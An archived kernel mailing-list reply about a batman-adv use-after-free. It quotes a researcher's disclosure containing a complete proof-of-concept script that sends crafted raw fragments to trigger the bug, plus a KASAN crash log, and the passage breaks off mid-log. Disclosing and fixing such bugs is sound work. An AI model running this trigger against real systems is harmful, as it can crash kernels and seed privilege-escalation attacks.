From mboxrd@z Thu Jan 1 00:00:00 1970 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on aws-us-west-2-korg-lkml-1.web.codeaurora.org Received: from diktynna.open-mesh.org (diktynna.open-mesh.org [136.243.236.17]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by smtp.lore.kernel.org (Postfix) with ESMTPS id 7E016C5516E for ; Thu, 30 Jul 2026 17:41:21 +0000 (UTC) Received: from diktynna.open-mesh.org (localhost [IPv6:::1]) by diktynna.open-mesh.org (Postfix) with ESMTP id D4C1D83ABC for ; Thu, 30 Jul 2026 19:41:19 +0200 (CEST) ARC-Seal: i=2; cv=pass; a=rsa-sha256; d=open-mesh.org; s=20121; t=1785433279; b=jQq0WQlyo5xoovl7sPMGsmMOv8ljtTg6loDnYg4whFAyfvoPlIHrmxzTDRiEyaBPq4Dch UZujzwifPSM8u5rmcz3mVpwydD98c74JPSAVXuILcPbJDFgk1UrTY4nv1V+nzdE5ArYJU/J kywZNILmEyacQkDulsrkhczMA81NkyI= ARC-Message-Signature: i=2; a=rsa-sha256; c=relaxed/relaxed; d=open-mesh.org; s=20121; t=1785433279; h=from : sender : reply-to : subject : date : message-id : to : cc : mime-version : content-type : content-transfer-encoding : content-id : content-description : resent-date : resent-from : resent-sender : resent-to : resent-cc : resent-message-id : in-reply-to : references : list-id : list-help : list-unsubscribe : list-subscribe : list-post : list-owner : list-archive; bh=gs28GXwBxe5rsR9G5YZjXEej2b4BAbxXTIivVmiEDfc=; b=X12hzGn+0xXx7UlQ8QyM8tr/jVJ+Hd1Iew44hV9dR7v7fHIVGr8Ly5MB11wAM7yFsSzYx wecGRMOvYs7+ZnVmX0Q/IWXnda+pO0SV1/K5jlQRa9nt6InE7EUEO+nx1Gn7WczpyB3TXM6 oxBEj3FiUYcOwmBl3wxU16VbScNf1lg= ARC-Authentication-Results: i=2; open-mesh.org; dkim=pass header.d=narfation.org; arc=pass; dmarc=pass header.from=narfation.org policy.dmarc=none Authentication-Results: open-mesh.org; dkim=pass header.d=narfation.org; arc=pass; dmarc=pass (Used From Domain Record) header.from=narfation.org policy.dmarc=none Received: from dvalin.narfation.org (dvalin.narfation.org [IPv6:2a00:17d8:100::8b1]) by diktynna.open-mesh.org (Postfix) with ESMTPS id 9470D81169 for ; Thu, 30 Jul 2026 19:40:59 +0200 (CEST) ARC-Seal: i=1; a=rsa-sha256; d=open-mesh.org; s=20121; cv=none; t=1785433259; b=mND2z9FKvvbxL5c2D3fviBV8PkcAHMoXKLoDHD5qvzHgqZCDuP6vzlxrMWZUMGO+bLVAbX +D13Fza24rwJzy5l2ccPR2pFlnSY+xii894NF1NMnODZ21jAmb8pbnbQ1mLQo/JXpJWtKK ndN+ZRhDHB4HcjJJ5ATOa/3y7Fx0nn0= ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=open-mesh.org; s=20121; t=1785433259; h=from:from:reply-to:subject:subject:date:date:message-id:message-id: to:to:cc:cc:mime-version:mime-version:content-type:content-type: in-reply-to:in-reply-to:references:references:dkim-signature; bh=gs28GXwBxe5rsR9G5YZjXEej2b4BAbxXTIivVmiEDfc=; b=gRL/3dNn9EiJv1JR7BeKW972+AJgFczyfWu8bsblq4Asl25iJ/4Oc9JrLqY/mVM7mkn8QU JxuomtHh80kAsq6odlGM8JAanWkbwfWeEJDG9C48GDGFweCg5cEow19a4EGuwc40Le5Jxi /DMHZbiypaZWskdbnSdLjdtd0nMCfwM= ARC-Authentication-Results: i=1; diktynna.open-mesh.org; dkim=pass header.d=narfation.org header.s=20121 header.b=WHbQZMHX; spf=pass (diktynna.open-mesh.org: domain of sven@narfation.org designates 2a00:17d8:100::8b1 as permitted sender) smtp.mailfrom=sven@narfation.org; dmarc=pass (policy=none) header.from=narfation.org Received: by dvalin.narfation.org (Postfix) id D21B81FDD3; Thu, 30 Jul 2026 17:40:54 +0000 (UTC) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=narfation.org; s=20121; t=1785433255; h=from:from:reply-to:subject:subject:date:date:message-id:message-id: to:to:cc:cc:mime-version:mime-version:content-type:content-type: in-reply-to:in-reply-to:references:references; bh=gs28GXwBxe5rsR9G5YZjXEej2b4BAbxXTIivVmiEDfc=; b=WHbQZMHXtt40Dq/nv3L+PQM/T5cUO/NDUO8IsFYS4rTGpwvJYosSgS7Qm+5w0+QblILwQf xpWycE/Tw9mjmnlwEEGoPlXKmYXjo8ckCVmO8Zmpkbo3U1pVKKx5PCa/2wp9DjSLt2IAmf BowJSBR4bCbdHmIpGyE+YNyg2nJ9cyw= From: Sven Eckelmann To: b.a.t.m.a.n@lists.open-mesh.org, Zhiling Zou Cc: marek.lindner@mailbox.org, sw@simonwunderlich.de, antonio@mandelbit.com, martin@hundeboll.net, vega@nebusec.ai, zhilinz@nebusec.ai Subject: Re: [PATCH net 0/1] batman-adv: fix stale receive device on merged fragments Date: Thu, 30 Jul 2026 19:40:52 +0200 Message-ID: <6702093.lOV4Wx5bFT@sven-desktop> In-Reply-To: References: MIME-Version: 1.0 Content-Type: multipart/signed; boundary="nextPart5531211.31r3eYUQgx"; micalg="pgp-sha512"; protocol="application/pgp-signature" Message-ID-Hash: OULWWGVJTG4UXAOVUUZTUB7IO7AWYBK7 X-Message-ID-Hash: OULWWGVJTG4UXAOVUUZTUB7IO7AWYBK7 X-MailFrom: sven@narfation.org X-Mailman-Rule-Misses: dmarc-mitigation; no-senders; approved; loop; banned-address; header-match-b.a.t.m.a.n.lists.open-mesh.org-0; header-match-b.a.t.m.a.n.lists.open-mesh.org-1; header-match-b.a.t.m.a.n.lists.open-mesh.org-2; header-match-b.a.t.m.a.n.lists.open-mesh.org-3; emergency; member-moderation; nonmember-moderation; administrivia; implicit-dest; max-recipients; max-size; news-moderation; no-subject; digests; suspicious-header X-Mailman-Version: 3.3.10 Precedence: list List-Id: The list for a Better Approach To Mobile Ad-hoc Networking Archived-At: List-Archive: List-Help: List-Owner: List-Post: List-Subscribe: List-Unsubscribe: --nextPart5531211.31r3eYUQgx Content-Transfer-Encoding: 7Bit Content-Type: text/plain; charset="utf-8"; protected-headers="v1" From: Sven Eckelmann To: b.a.t.m.a.n@lists.open-mesh.org, Zhiling Zou Date: Thu, 30 Jul 2026 19:40:52 +0200 Message-ID: <6702093.lOV4Wx5bFT@sven-desktop> In-Reply-To: References: MIME-Version: 1.0 On Thursday, 30 July 2026 19:22:47 CEST Zhiling Zou wrote: > Hi Linux kernel maintainers, > > We found and validated an issue in net/batman-adv/fragmentation.c. The bug is > reachable by a non-root user via user and net namespace. > > We've tested the fix, and it should not affect normal functionality. > > We will provide detailed information about the bug in this email, along with a > PoC to trigger it. We already explained this to you. This is not for net.git and thus you should not mark it as "[PATCH net...]". > > ---- details below ---- > > Bug details: > > batadv_frag_insert_packet() buffers fragment skbs and later reuses the > highest-numbered buffered skb as the merged packet. If that skb arrived on hard > interface A and A is deleted before the remaining fragments arrive on > interface B, the merged skb re-enters batadv_batman_skb_recv() with the stale > skb->dev and skb_iif from A. > > DAT and bridge loop avoidance derive ARP parsing state from skb->dev, so the > reconstructed packet can reach batadv_arp_get_type() and dereference the freed > net_device before it is delivered to the local mesh interface. > > Reproducer: > > chmod +x ./poc.sh > unshare -Urn env -i PATH=/usr/sbin:/usr/bin:/sbin:/bin ./poc.sh > > We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment. > > ------BEGIN poc.sh------ > > #!/bin/sh > set -eu > > : "${WAIT_AFTER_SETUP:=1.5}" > : "${WAIT_AFTER_OGM:=0.5}" > : "${WAIT_AFTER_HIGH:=0.5}" > : "${WAIT_AFTER_DELETE:=6.0}" > : "${WAIT_AFTER_MID:=6.0}" > : "${WAIT_AFTER_LOW:=1.0}" > : "${PHY_DEST_MODE:=tb}" > : "${DELETE_IFACE:=ta}" > : "${SEQNO:=0x1234}" > > export WAIT_AFTER_SETUP > export WAIT_AFTER_OGM > export WAIT_AFTER_HIGH > export WAIT_AFTER_DELETE > export WAIT_AFTER_MID > export WAIT_AFTER_LOW > export PHY_DEST_MODE > export DELETE_IFACE > export SEQNO > > python3 - "$@" <<'PY' > import os > import re > import socket > import struct > import subprocess > import time > > BATADV_IV_OGM = 0x00 > BATADV_UNICAST = 0x40 > BATADV_UNICAST_FRAG = 0x41 > BATADV_COMPAT_VERSION = 15 > ETH_P_BATMAN = 0x4305 > ETH_P_ARP = 0x0806 > ARPOP_REQUEST = 1 > > > def env_float(name: str) -> float: > return float(os.environ[name]) > > > def env_int(name: str) -> int: > return int(os.environ[name], 0) > > > WAIT_AFTER_SETUP = env_float("WAIT_AFTER_SETUP") > WAIT_AFTER_OGM = env_float("WAIT_AFTER_OGM") > WAIT_AFTER_HIGH = env_float("WAIT_AFTER_HIGH") > WAIT_AFTER_DELETE = env_float("WAIT_AFTER_DELETE") > WAIT_AFTER_MID = env_float("WAIT_AFTER_MID") > WAIT_AFTER_LOW = env_float("WAIT_AFTER_LOW") > PHY_DEST_MODE = os.environ["PHY_DEST_MODE"] > DELETE_IFACE = os.environ["DELETE_IFACE"] > SEQNO = env_int("SEQNO") > > > def run(cmd: str) -> None: > subprocess.run(cmd, shell=True, check=True) > > > def output(cmd: str) -> str: > return subprocess.check_output(cmd, shell=True, text=True).strip() > > > def mac_bytes(text: str) -> bytes: > return bytes(int(part, 16) for part in text.split(":")) > > > def ip_bytes(text: str) -> bytes: > return socket.inet_aton(text) > > > def iface_mac(name: str) -> bytes: > text = output(f"ip -o link show dev {name}") > match = re.search(r"link/ether ([0-9a-f:]{17})", text) > if not match: > raise SystemExit(f"failed to parse MAC for {name}: {text}") > return mac_bytes(match.group(1)) > > > def send_frame(iface: str, dst: bytes, src: bytes, payload: bytes) -> None: > sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW) > try: > sock.bind((iface, 0)) > frame = dst + src + struct.pack("!H", ETH_P_BATMAN) + payload > sock.send(frame) > finally: > sock.close() > > > def ogm_packet(orig: bytes, seqno: int = 1) -> bytes: > return struct.pack( > "!BBBBI6s6sBBH", > BATADV_IV_OGM, > BATADV_COMPAT_VERSION, > 50, > 0, > seqno, > orig, > orig, > 0, > 0xFF, > 0, > ) > > > def frag_packet(no: int, dest: bytes, orig: bytes, seqno: int, > total_size: int, payload: bytes) -> bytes: > flags = (no & 0xF) << 4 > return struct.pack( > "!BBBB6s6sHH", > BATADV_UNICAST_FRAG, > BATADV_COMPAT_VERSION, > 50, > flags, > dest, > orig, > seqno, > total_size, > ) + payload > > > def merged_unicast_arp(dest_mac: bytes) -> bytes: > inner_src = mac_bytes("02:11:22:33:44:55") > inner_eth = b"\xff" * 6 + inner_src + struct.pack("!H", ETH_P_ARP) > arp = struct.pack( > "!HHBBH6s4s6s4s", > 1, > 0x0800, > 6, > 4, > ARPOP_REQUEST, > inner_src, > ip_bytes("192.0.2.1"), > b"\x00" * 6, > ip_bytes("192.0.2.2"), > ) > uni = struct.pack( > "!BBBB6s", > BATADV_UNICAST, > BATADV_COMPAT_VERSION, > 50, > 0, > dest_mac, > ) > return uni + inner_eth + arp > > > def cleanup() -> None: > for dev in ("bat0", "ta", "tb"): > run(f"ip link del {dev} 2>/dev/null || true") > > > cleanup() > run("ip link add ta type veth peer name aa") > run("ip link add tb type veth peer name bb") > run("ip link add bat0 type batadv") > run("ip link set ta master bat0") > run("ip link set tb master bat0") > for dev in ("bat0", "ta", "tb", "aa", "bb"): > run(f"ip link set {dev} up") > > time.sleep(WAIT_AFTER_SETUP) > > mac_ta = iface_mac("ta") > mac_tb = iface_mac("tb") > fake_orig = mac_bytes("02:aa:bb:cc:dd:01") > > if PHY_DEST_MODE == "ta": > phy_dest = mac_ta > elif PHY_DEST_MODE == "tb": > phy_dest = mac_tb > else: > raise SystemExit(f"unsupported PHY_DEST_MODE={PHY_DEST_MODE}") > > send_frame("aa", b"\xff" * 6, fake_orig, ogm_packet(fake_orig)) > time.sleep(WAIT_AFTER_OGM) > > merged = merged_unicast_arp(mac_tb) > parts = (merged[:20], merged[20:36], merged[36:]) > > send_frame("aa", phy_dest, fake_orig, > frag_packet(2, mac_tb, fake_orig, SEQNO, len(merged), parts[0])) > time.sleep(WAIT_AFTER_HIGH) > > run(f"ip link del {DELETE_IFACE}") > time.sleep(WAIT_AFTER_DELETE) > > send_frame("bb", mac_tb, fake_orig, > frag_packet(1, mac_tb, fake_orig, SEQNO, len(merged), parts[1])) > time.sleep(WAIT_AFTER_MID) > > send_frame("bb", mac_tb, fake_orig, > frag_packet(0, mac_tb, fake_orig, SEQNO, len(merged), parts[2])) > time.sleep(WAIT_AFTER_LOW) > PY > > ------END poc.sh-------- > > ----BEGIN crash log---- > > [ 234.446245] [ C0] BUG: KASAN: slab-use-after-free in batadv_arp_get_type.isra.0 (build/../net/batman-adv/distributed-arp-table.c:261 build/../net/batman-adv/distributed-arp-table.c:1043) > [ 234.446350] [ C0] Read of size 2 at addr ffff88807cd19230 by task python3/10420 > > [ 234.446408] [ C0] CPU: 0 UID: 0 PID: 10420 Comm: python3 Not tainted 6.12.95 #2 > [ 234.446431] [ C0] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 > [ 234.446441] [ C0] Call Trace: > [ 234.446455] [ C0] > [ 234.446469] [ C0] dump_stack_lvl (build/../lib/dump_stack.c:118 (discriminator 2)) > [ 234.446517] [ C0] print_report (build/../include/linux/mm.h:1903 build/../mm/kasan/report.c:289 build/../mm/kasan/report.c:376 build/../mm/kasan/report.c:482) > [ 234.446574] [ C0] ? batadv_arp_get_type.isra.0 (build/../net/batman-adv/distributed-arp-table.c:261 build/../net/batman-adv/distributed-arp-table.c:1043) > [ 234.446583] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220) > [ 234.446608] [ C0] ? __virt_addr_valid (build/../include/linux/instrumented.h:82 build/../include/asm-generic/bitops/instrumented-non-atomic.h:141 build/../include/linux/mmzone.h:2214 build/../include/linux/mmzone.h:2290 build/../arch/x86/mm/physaddr.c:54) > [ 234.446649] [ C0] ? batadv_arp_get_type.isra.0 (build/../net/batman-adv/distributed-arp-table.c:261 build/../net/batman-adv/distributed-arp-table.c:1043) > [ 234.446658] [ C0] kasan_report (build/../mm/kasan/report.c:593) > [ 234.446673] [ C0] ? batadv_arp_get_type.isra.0 (build/../net/batman-adv/distributed-arp-table.c:261 build/../net/batman-adv/distributed-arp-table.c:1043) > [ 234.446694] [ C0] batadv_arp_get_type.isra.0 (build/../net/batman-adv/distributed-arp-table.c:261 build/../net/batman-adv/distributed-arp-table.c:1043) > [ 234.446704] [ C0] ? __pfx_batadv_orig_hash_find (build/../net/batman-adv/originator.c:537 (discriminator 2)) > [ 234.446729] [ C0] batadv_dat_snoop_incoming_arp_request (build/../net/batman-adv/distributed-arp-table.c:1074 build/../net/batman-adv/distributed-arp-table.c:1236) > [ 234.446737] [ C0] ? batadv_bla_is_backbone_gw (build/../net/batman-adv/bridge_loop_avoidance.c:1787) > [ 234.446752] [ C0] batadv_recv_unicast_packet (build/../include/linux/skbuff.h:2996 build/../include/linux/skbuff.h:3149 build/../include/linux/if_ether.h:27 build/../net/batman-adv/routing.c:971) > [ 234.446771] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220) > [ 234.446786] [ C0] batadv_batman_skb_recv (build/../arch/x86/include/asm/atomic.h:23 build/../include/linux/atomic/atomic-arch-fallback.h:457 build/../include/linux/atomic/atomic-instrumented.h:33 build/../net/batman-adv/main.c:443) > [ 234.446798] [ C0] ? __pfx_batadv_batman_skb_recv (build/../include/linux/skbuff.h:2533) > [ 234.446812] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220) > [ 234.446818] [ C0] ? batadv_is_my_mac (build/../include/linux/etherdevice.h:357 build/../include/linux/etherdevice.h:409 build/../net/batman-adv/main.h:263 build/../net/batman-adv/main.c:301) > [ 234.446835] [ C0] batadv_recv_frag_packet (build/../net/batman-adv/routing.c:1098) > [ 234.446848] [ C0] ? __pfx_batadv_recv_frag_packet (build/../include/linux/skbuff.h:1724) > [ 234.446886] [ C0] ? __pfx_mark_lock (build/../kernel/locking/lockdep.c:4021) > [ 234.446922] [ C0] ? __pfx___lock_acquire (build/../kernel/locking/lockdep.c:4397 (discriminator 11)) > [ 234.446937] [ C0] batadv_batman_skb_recv (build/../arch/x86/include/asm/atomic.h:23 build/../include/linux/atomic/atomic-arch-fallback.h:457 build/../include/linux/atomic/atomic-instrumented.h:33 build/../net/batman-adv/main.c:443) > [ 234.446949] [ C0] ? __pfx_batadv_batman_skb_recv (build/../include/linux/skbuff.h:2533) > [ 234.446960] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220) > [ 234.446967] [ C0] ? lock_acquire.part.0+0x119/0x370 > [ 234.446978] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220) > [ 234.446989] [ C0] ? __pfx_batadv_batman_skb_recv (build/../include/linux/skbuff.h:2533) > [ 234.446998] [ C0] ? process_backlog (build/../include/linux/rcupdate.h:839 (discriminator 1) build/../net/core/dev.c:6665 (discriminator 1)) > [ 234.447045] [ C0] __netif_receive_skb_one_core (build/../net/core/dev.c:6205) > [ 234.447056] [ C0] ? __pfx___netif_receive_skb_one_core (build/../net/core/dev.c:6244) > [ 234.447070] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220) > [ 234.447077] [ C0] ? lock_acquire (build/../kernel/locking/lockdep.c:5828) > [ 234.447084] [ C0] ? process_backlog (build/../include/linux/rcupdate.h:839 (discriminator 1) build/../net/core/dev.c:6665 (discriminator 1)) > [ 234.447100] [ C0] process_backlog (build/../include/linux/rcupdate.h:871 build/../net/core/dev.c:6667) > [ 234.447122] [ C0] __napi_poll.constprop.0 (build/../net/core/dev.c:7730) > [ 234.447137] [ C0] net_rx_action (build/../net/core/dev.c:6621 build/../net/core/dev.c:7974) > [ 234.447162] [ C0] ? __pfx_net_rx_action (build/../net/core/dev.c:13182 (discriminator 2)) > [ 234.447258] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220) > [ 234.447268] [ C0] ? clockevents_program_event (build/../kernel/time/clockevents.c:353 (discriminator 2)) > [ 234.447294] [ C0] ? __pfx_lock_release (build/../kernel/locking/lockdep.c:238 (discriminator 9)) > [ 234.447347] [ C0] handle_softirqs (build/../include/linux/kernel_stat.h:62 (discriminator 1) build/../kernel/softirq.c:619 (discriminator 1)) > [ 234.447386] [ C0] ? __pfx_handle_softirqs (build/../kernel/softirq.c:405) > [ 234.447398] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220) > [ 234.447405] [ C0] ? irqtime_account_irq (build/../kernel/sched/cputime.c:59 (discriminator 2)) > [ 234.447432] [ C0] ? __dev_queue_xmit (build/../include/linux/filter.h:796 build/../net/core/dev.c:4534 build/../net/core/dev.c:4807) > [ 234.447444] [ C0] do_softirq (build/../kernel/softirq.c:523 (discriminator 20) build/../kernel/softirq.c:510 (discriminator 20)) > [ 234.447454] [ C0] > [ 234.447458] [ C0] > [ 234.447463] [ C0] __local_bh_enable_ip (build/../kernel/softirq.c:457 (discriminator 1)) > [ 234.447473] [ C0] ? __dev_queue_xmit (build/../include/linux/filter.h:796 build/../net/core/dev.c:4534 build/../net/core/dev.c:4807) > [ 234.447481] [ C0] __dev_queue_xmit (build/../include/linux/filter.h:796 build/../net/core/dev.c:4534 build/../net/core/dev.c:4807) > [ 234.447495] [ C0] ? __might_fault (build/../mm/memory.c:7324 (discriminator 1)) > [ 234.447523] [ C0] ? __pfx_lock_release (build/../kernel/locking/lockdep.c:238 (discriminator 9)) > [ 234.447542] [ C0] ? __pfx___dev_queue_xmit (build/../include/linux/netdevice.h:4010 (discriminator 1)) > [ 234.447556] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220) > [ 234.447563] [ C0] ? _copy_from_iter (build/../include/linux/iov_iter.h:27 build/../include/linux/iov_iter.h:302 build/../include/linux/iov_iter.h:330 build/../lib/iov_iter.c:261 build/../lib/iov_iter.c:272) > [ 234.447611] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220) > [ 234.447629] [ C0] ? packet_parse_headers (build/../include/linux/skbuff.h:2533 build/../include/linux/skbuff.h:2866 build/../include/linux/skbuff.h:2881 build/../include/linux/if_vlan.h:672 build/../net/packet/af_packet.c:1936) > [ 234.447663] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220) > [ 234.447669] [ C0] ? packet_parse_headers (build/../include/linux/skbuff.h:2533 build/../include/linux/skbuff.h:2866 build/../include/linux/skbuff.h:2881 build/../include/linux/if_vlan.h:672 build/../net/packet/af_packet.c:1936) > [ 234.447684] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220) > [ 234.447691] [ C0] ? __check_object_size (build/../include/linux/mm.h:2973 build/../mm/usercopy.c:200 build/../mm/usercopy.c:258 build/../mm/usercopy.c:223) > [ 234.447714] [ C0] ? __pfx_sock_alloc_send_pskb (build/../net/core/sock.c:2830 (discriminator 2)) > [ 234.447750] [ C0] ? __pfx_packet_parse_headers (build/../include/net/dst.h:285) > [ 234.447761] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220) > [ 234.447769] [ C0] ? skb_copy_datagram_from_iter (build/../net/core/datagram.c:561) > [ 234.447791] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220) > [ 234.447808] [ C0] packet_sendmsg (build/../net/packet/af_packet.c:3045 (discriminator 1) build/../net/packet/af_packet.c:3114 (discriminator 1)) > [ 234.447834] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220) > [ 234.447843] [ C0] ? ref_tracker_alloc (build/../include/linux/list.h:161 build/../include/linux/list.h:177 build/../lib/ref_tracker.c:280) > [ 234.447881] [ C0] ? __pfx___might_resched (build/../kernel/sched/core.c:5888 (discriminator 7)) > [ 234.447901] [ C0] ? __pfx___lock_acquire (build/../kernel/locking/lockdep.c:4397 (discriminator 11)) > [ 234.447916] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220) > [ 234.447923] [ C0] ? aa_sk_perm+0x1d8/0x8d0 > [ 234.447964] [ C0] ? __pfx_packet_sendmsg (build/../arch/x86/include/asm/atomic.h:23) > [ 234.447987] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220) > [ 234.447994] [ C0] ? apparmor_socket_sendmsg+0x2e/0x200 > [ 234.448021] [ C0] __sys_sendto (build/../net/socket.c:787 (discriminator 2) build/../net/socket.c:802 (discriminator 2) build/../net/socket.c:2265 (discriminator 2)) > [ 234.448038] [ C0] ? __pfx___sys_sendto (build/../net/socket.c:2219) > [ 234.448045] [ C0] ? __local_bh_enable_ip (build/../kernel/softirq.c:457 (discriminator 1)) > [ 234.448054] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220) > [ 234.448060] [ C0] ? lockdep_hardirqs_on (build/../kernel/locking/lockdep.c:4472) > [ 234.448102] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220) > [ 234.448108] [ C0] ? __sys_bind (build/../net/socket.c:1933 (discriminator 2) build/../net/socket.c:1925 (discriminator 2) build/../net/socket.c:1964 (discriminator 2)) > [ 234.448150] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220) > [ 234.448167] [ C0] __x64_sys_sendto (build/../net/socket.c:2272 build/../net/socket.c:2268 build/../net/socket.c:2268) > [ 234.448177] [ C0] ? do_syscall_64 (build/../include/linux/entry-common.h:144 (discriminator 1) build/../include/linux/entry-common.h:178 (discriminator 1) build/../arch/x86/entry/syscall_64.c:89 (discriminator 1)) > [ 234.448192] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220) > [ 234.448199] [ C0] ? lockdep_hardirqs_on (build/../kernel/locking/lockdep.c:4472) > [ 234.448209] [ C0] do_syscall_64 (build/../include/linux/entry-common.h:109 (discriminator 2) build/../include/linux/entry-common.h:147 (discriminator 2) build/../include/linux/entry-common.h:178 (discriminator 2) build/../arch/x86/entry/syscall_64.c:89 (discriminator 2)) > [ 234.448225] [ C0] entry_SYSCALL_64_after_hwframe (build/../arch/x86/entry/entry_64.S:121) > [ 234.448241] [ C0] RIP: 0033:0x7ff350f43687 > [ 234.448267] [ C0] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff > All code > ======== > 0: 48 89 fa mov %rdi,%rdx > 3: 4c 89 df mov %r11,%rdi > 6: e8 58 b3 00 00 call 0xb363 > b: 8b 93 08 03 00 00 mov 0x308(%rbx),%edx > 11: 59 pop %rcx > 12: 5e pop %rsi > 13: 48 83 f8 fc cmp $0xfffffffffffffffc,%rax > 17: 74 1a je 0x33 > 19: 5b pop %rbx > 1a: c3 ret > 1b: 0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1) > 22: 00 > 23: 48 8b 44 24 10 mov 0x10(%rsp),%rax > 28: 0f 05 syscall > 2a:* 5b pop %rbx <-- trapping instruction > 2b: c3 ret > 2c: 0f 1f 80 00 00 00 00 nopl 0x0(%rax) > 33: 83 e2 39 and $0x39,%edx > 36: 83 fa 08 cmp $0x8,%edx > 39: 75 de jne 0x19 > 3b: e8 23 ff ff ff call 0xffffffffffffff63 > > Code starting with the faulting instruction > =========================================== > 0: 5b pop %rbx > 1: c3 ret > 2: 0f 1f 80 00 00 00 00 nopl 0x0(%rax) > 9: 83 e2 39 and $0x39,%edx > c: 83 fa 08 cmp $0x8,%edx > f: 75 de jne 0xffffffffffffffef > 11: e8 23 ff ff ff call 0xffffffffffffff39 > [ 234.448279] [ C0] RSP: 002b:00007ffedeb93690 EFLAGS: 00000202 ORIG_RAX: 000000000000002c > [ 234.448306] [ C0] RAX: ffffffffffffffda RBX: 00007ff350eaf780 RCX: 00007ff350f43687 > [ 234.448312] [ C0] RDX: 0000000000000032 RSI: 00007ff3508499d0 RDI: 0000000000000003 > [ 234.448317] [ C0] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000 > [ 234.448321] [ C0] R10: 0000000000000000 R11: 0000000000000202 R12: 0000000000000000 > [ 234.448325] [ C0] R13: 0000000000000000 R14: 00000000006ff020 R15: 0000000000a83590 > [ 234.448353] [ C0] > > [ 234.448571] [ C0] Allocated by task 10434: > [ 234.448590] [ C0] kasan_save_stack (build/../mm/kasan/common.c:57) > [ 234.448610] [ C0] kasan_save_track (build/../mm/kasan/common.c:78) > [ 234.448623] [ C0] __kasan_kmalloc (build/../mm/kasan/common.c:398 build/../mm/kasan/common.c:415) > [ 234.448635] [ C0] __kmalloc_node_noprof (build/../mm/slub.c:4756 (discriminator 1) build/../mm/slub.c:4883 (discriminator 1) build/../mm/slub.c:5294 (discriminator 1) build/../mm/slub.c:5301 (discriminator 1)) > [ 234.448658] [ C0] alloc_netdev_mqs (build/../net/core/dev.c:12019) > [ 234.448677] [ C0] rtnl_create_link (build/../net/core/rtnetlink.c:3652) > [ 234.448694] [ C0] __rtnl_newlink+0xd20/0x14f0 > [ 234.448708] [ C0] rtnl_newlink (build/../net/core/rtnetlink.c:4000) > [ 234.448721] [ C0] rtnetlink_rcv_msg (build/../net/core/rtnetlink.c:6984) > [ 234.448733] [ C0] netlink_rcv_skb (build/../net/netlink/af_netlink.c:2547) > [ 234.448766] [ C0] netlink_unicast (build/../include/linux/instrumented.h:112 build/../include/linux/atomic/atomic-instrumented.h:104 build/../net/netlink/af_netlink.c:1314 build/../net/netlink/af_netlink.c:1344) > [ 234.448778] [ C0] netlink_sendmsg (build/../net/netlink/af_netlink.c:1875) > [ 234.448790] [ C0] ____sys_sendmsg (build/../net/socket.c:790 (discriminator 1) build/../net/socket.c:2695 (discriminator 1)) > [ 234.448802] [ C0] ___sys_sendmsg (build/../net/socket.c:2749) > [ 234.448815] [ C0] __sys_sendmsg (build/../net/socket.c:593 build/../net/socket.c:2780) > [ 234.448828] [ C0] do_syscall_64 (build/../include/linux/entry-common.h:109 (discriminator 2) build/../include/linux/entry-common.h:147 (discriminator 2) build/../include/linux/entry-common.h:178 (discriminator 2) build/../arch/x86/entry/syscall_64.c:89 (discriminator 2)) > [ 234.448842] [ C0] entry_SYSCALL_64_after_hwframe (build/../arch/x86/entry/entry_64.S:121) > > [ 234.448879] [ C0] Freed by task 10659: > [ 234.448890] [ C0] kasan_save_stack (build/../mm/kasan/common.c:57) > [ 234.448903] [ C0] kasan_save_track (build/../mm/kasan/common.c:78) > [ 234.448915] [ C0] kasan_save_free_info (build/../mm/kasan/generic.c:584) > [ 234.448934] [ C0] __kasan_slab_free (build/../mm/kasan/common.c:249 build/../mm/kasan/common.c:285) > [ 234.448947] [ C0] kfree (build/../mm/slub.c:5807 (discriminator 3) build/../mm/slub.c:6253 (discriminator 3) build/../mm/slub.c:6565 (discriminator 3)) > [ 234.448959] [ C0] device_release (build/../drivers/gpu/drm/vkms/vkms_configfs.c:749) > [ 234.449008] [ C0] kobject_put (build/../lib/kobject.c:677 build/../lib/kobject.c:720 build/../include/linux/kref.h:65 build/../lib/kobject.c:737) > [ 234.449027] [ C0] netdev_run_todo (build/../net/core/dev.c:11716 (discriminator 2)) > [ 